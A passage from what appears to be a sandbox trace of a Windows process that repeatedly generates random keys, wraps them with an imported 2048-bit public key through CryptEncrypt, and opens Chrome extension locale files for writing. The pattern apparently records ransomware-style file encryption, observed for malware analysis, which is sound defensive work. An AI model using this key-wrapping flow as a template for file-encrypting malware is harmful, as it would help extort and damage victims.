pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.297] GetLastError () returned 0x0 [0239.297] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.297] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0239.299] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac378) returned 1 [0239.299] CryptGetKeyParam (in: hKey=0x66ac378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.299] CryptEncrypt (in: hKey=0x66ac378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa090000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa090000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.299] GetLastError () returned 0x0 [0239.299] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.299] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.300] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.302] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.304] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.305] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.305] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.305] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.307] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.308] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.308] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.308] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.309] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.311] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac078) returned 1 [0239.311] CryptGetKeyParam (in: hKey=0x66ac078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.311] CryptEncrypt (in: hKey=0x66ac078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.311] GetLastError () returned 0x0 [0239.311] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.311] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.313] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac7b8) returned 1 [0239.313] CryptGetKeyParam (in: hKey=0x66ac7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.313] CryptEncrypt (in: hKey=0x66ac7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.313] GetLastError () returned 0x0 [0239.313] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.313] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.314] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.318] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.318] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.318] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.318] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.320] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.322] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.322] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.322] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.322] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.324] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac5f8) returned 1 [0239.326] CryptGetKeyParam (in: hKey=0x66ac5f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.326] CryptEncrypt (in: hKey=0x66ac5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa0c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa0c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.326] GetLastError () returned 0x0 [0239.326] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.326] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.328] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac578) returned 1 [0239.328] CryptGetKeyParam (in: hKey=0x66ac578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.328] CryptEncrypt (in: hKey=0x66ac578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa0d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa0d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.329] GetLastError () returned 0x0 [0239.329] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.329] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.329] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.331] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.333] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.333] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.333] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.333] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.335] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.336] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.337] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.337] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.337] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.339] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac7f8) returned 1 [0239.339] CryptGetKeyParam (in: hKey=0x66ac7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.339] CryptEncrypt (in: hKey=0x66ac7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa0e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa0e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.339] GetLastError () returned 0x0 [0239.339] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.339] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.341] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac538) returned 1 [0239.341] CryptGetKeyParam (in: hKey=0x66ac538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.341] CryptEncrypt (in: hKey=0x66ac538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa0f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa0f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.341] GetLastError () returned 0x0 [0239.341] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.341] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.342] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.344] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.346] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.346] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.346] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.348] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.349] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.349] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.349] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.350] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.352] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac0f8) returned 1 [0239.352] CryptGetKeyParam (in: hKey=0x66ac0f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.352] CryptEncrypt (in: hKey=0x66ac0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa100000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa100000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.352] GetLastError () returned 0x0 [0239.352] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.352] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.354] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac738) returned 1 [0239.354] CryptGetKeyParam (in: hKey=0x66ac738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.354] CryptEncrypt (in: hKey=0x66ac738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa110000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa110000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.354] GetLastError () returned 0x0 [0239.354] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.354] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.355] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.357] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.359] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.359] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.359] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.359] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.361] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.362] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.362] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.362] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.362] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.364] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac4f8) returned 1 [0239.364] CryptGetKeyParam (in: hKey=0x66ac4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.364] CryptEncrypt (in: hKey=0x66ac4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa120000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa120000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.365] GetLastError () returned 0x0 [0239.365] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.365] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.366] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac638) returned 1 [0239.367] CryptGetKeyParam (in: hKey=0x66ac638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.367] CryptEncrypt (in: hKey=0x66ac638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa130000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa130000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.367] GetLastError () returned 0x0 [0239.367] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.367] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.368] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.370] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.372] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.372] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.372] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.372] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.374] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.375] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.375] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.375] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.375] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.377] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac5b8) returned 1 [0239.377] CryptGetKeyParam (in: hKey=0x66ac5b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.377] CryptEncrypt (in: hKey=0x66ac5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa140000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa140000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.377] GetLastError () returned 0x0 [0239.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.377] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.379] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac6f8) returned 1 [0239.379] CryptGetKeyParam (in: hKey=0x66ac6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.379] CryptEncrypt (in: hKey=0x66ac6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa150000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa150000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.379] GetLastError () returned 0x0 [0239.379] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.379] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.380] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0239.382] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.384] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.384] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0239.384] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.384] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0239.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.387] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.387] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0239.387] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.388] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0239.390] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b20b8) returned 1 [0239.390] CryptGetKeyParam (in: hKey=0x66b20b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0239.390] CryptEncrypt (in: hKey=0x66b20b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa160000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xa160000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0239.390] GetLastError () returned 0x0 [0239.390] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.390] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0239.392] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, 